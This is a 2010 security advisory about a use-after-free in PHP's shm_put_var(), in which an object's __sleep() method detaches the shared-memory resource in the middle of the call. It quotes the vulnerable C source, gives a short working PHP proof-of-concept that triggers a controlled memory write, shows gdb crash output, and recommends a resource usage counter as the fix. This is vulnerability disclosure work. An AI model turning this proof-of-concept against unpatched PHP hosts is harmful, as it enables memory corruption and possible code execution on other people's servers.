MOPS-2010-009: PHP shm_put_var() Already Freed Resource Access Vulnerability

2010-05-11T00:00:00
ID SECURITYVULNS:DOC:23796
Type securityvulns
Reporter Securityvulns
Modified 2010-05-11T00:00:00

Description

MOPS-2010-009: PHP shm_put_var() Already Freed Resource Access Vulnerability May 5th, 2010

When PHP’s shm_put_var() function is interrupted by an object’s __sleep() function it can destroy the shm resource used by this function which allows to write an arbitrary memory address. Affected versions

Affected is PHP 5.2 <= 5.2.13 Affected is PHP 5.3 <= 5.3.2 Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples. Detailed information

When PHP functions need to keep track of data structures they register resources with the Zend Engine. The resource system has reference counters but those only keep track of the PHP variables that point to the actual resource. There is however no usage counter that counts how many functions currently use the resource internally.

Because of this a special bug class exists in the PHP code. Whenever it is possible for usercode to interrupt a PHP function after it has acquired the resource data through the resource identifier, the usercode can destroy the resource and for example allocate a PHP string of the same size that will take the same place in memory as the freed resource. This PHP string can be used to create a special crafted resource that allows exploiting the internals of the PHP functions. When the malicious interruption ends the function will continue and use the replaced resource data.

One of the functions vulnerable to this kind of attack is the shm_put_var() function from the sysvshm extension. PHP_FUNCTION(shm_put_var) { ...

if &#40;SUCCESS != zend_parse_parameters&#40;ZEND_NUM_ARGS&#40;&#41; TSRMLS_CC, &quot;rlz&quot;, &amp;shm_id, &amp;shm_key, &amp;arg_var&#41;&#41; {
    return;
}

SHM_FETCH_RESOURCE&#40;shm_list_ptr, shm_id&#41;;

/* setup string-variable and serialize */
PHP_VAR_SERIALIZE_INIT&#40;var_hash&#41;;
php_var_serialize&#40;&amp;shm_var, &amp;arg_var, &amp;var_hash TSRMLS_CC&#41;;
PHP_VAR_SERIALIZE_DESTROY&#40;var_hash&#41;;

/* insert serialized variable into shared memory */
ret = php_put_shm_data&#40;shm_list_ptr-&gt;ptr, shm_key, shm_var.c, shm_var.len&#41;;

Internally shm_put_var() calls the serialization functionality which will also serialize objects and call their __sleep() method. This __sleep() method can then destroy the shm resource, which allows to replace the shm_list_ptr structure in memory that is used in the call to php_put_shm_data(). This will write to arbitrary controlled memory. static int php_put_shm_data(sysvshm_chunk_head ptr, long key, const char data, long len) { sysvshm_chunk *shm_var; long total_size; long shm_varpos;

...

shm_var = &#40;sysvshm_chunk *&#41; &#40;&#40;char *&#41; ptr + ptr-&gt;end&#41;; 
shm_var-&gt;key = key;
shm_var-&gt;length = len;
shm_var-&gt;next = total_size;  
memcpy&#40;&amp;&#40;shm_var-&gt;mem&#41;, data, len&#41;;
ptr-&gt;end += total_size;
ptr-&gt;free -= total_size;
return 0;

} Proof of concept, exploit or instructions to reproduce

The following exploit code will exploit the vulnerability and trigger a write to 0×4343434343434343 which crashs in the normal case. <?php
class dummy {
function __sleep() { shm_detach($GLOBALS['r']); $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxA'] = "AAAAAAAABBB"; $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'] = "AAAAAAAABBBBBBBBCCCCCCC"; return array(); } }

$r = shm_attach&#40;0x7350&#41;;
shm_put_var&#40;$r, 0x31337, new dummy&#40;&#41;&#41;;

?>

When executed the code trigers a write to 0×4343434343434343. (gdb) run shm_put_var_interruption.php Starting program: /usr/bin/php shm_put_var_interruption.php Reading symbols for shared libraries .+++++++++++++++++................................................................................... done

Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: 13 at address: 0x0000000000000000 0x0000000100292fd0 in zif_shm_put_var () (gdb) x/5i $rip 0x100292fd0 <zif_shm_put_var+234>: mov 0x8(%rbx),%rdx 0x100292fd4 <zif_shm_put_var+238>: mov 0x10(%rbx),%rcx 0x100292fd8 <zif_shm_put_var+242>: mov %rdx,%rsi 0x100292fdb <zif_shm_put_var+245>: cmp %rcx,%rsi 0x100292fde <zif_shm_put_var+248>: jge 0x100293009 <zif_shm_put_var+291> (gdb) i r $rbx $rcx $rdx $rsi rbx 0x43434343434343 18932779609965379 rcx 0x0 0 rdx 0x101026800 4311902208 rsi 0x100b45678 4306785912 Notes

The correct way to fix this vulnerability is to implement a resource usage counter for internal functions. The curl extension of PHP already contains code that keeps track of internal usage of the resource and therefore is not vulnerable to this attack. We strongly recommend to merge this feature into the sysvshm extension